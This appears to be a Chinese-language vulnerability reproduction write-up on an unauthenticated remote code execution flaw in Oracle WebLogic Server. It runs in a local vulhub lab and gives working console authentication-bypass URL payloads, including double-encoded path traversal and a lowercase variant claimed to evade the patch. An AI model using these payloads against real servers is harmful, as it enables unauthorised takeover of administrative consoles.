漏洞描述
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
Oracle WebLogic Server 远程代码执行漏洞POC已经被公开,未经身份验证的远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console ,并利用该漏洞在受影响的 WebLogic Server 上执行任意代码。鉴于该漏洞影响范围广,危害程度较大,请受影响的各单位立即更新补丁。
影响范围
Oracle WebLogic Server 10.3.6.0.0;
Oracle WebLogic Server 12.1.3.0.0;
Oracle WebLogic Server 12.2.1.0.0;
Oracle WebLogic Server 12.2.1.4.0;
Oracle WebLogic Server 14.1.1.0.0。
漏洞复现
1. 环境配置
git clone https://github.com/vulhub/vulhub.git
因为我docker之前就配置好了,直接启动就可以了
(可以使用python3自带的pip安装工具去安装)
访问http://127.0.0.1:7001/console,即可部署weblogic环境
2. 绕过后台登录
http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal
‘%252E%252E%252F’即为二次URL编码过后的‘../’,通过这个就可以实现穿越路径未授权访问相关管理后台
也可以用另一个POC
/console/css/%25%32%65%25%32%65%25%32%66console.portal
大写换成小写可绕过补丁:
/console/css/%252e%252e%252fconsole.portal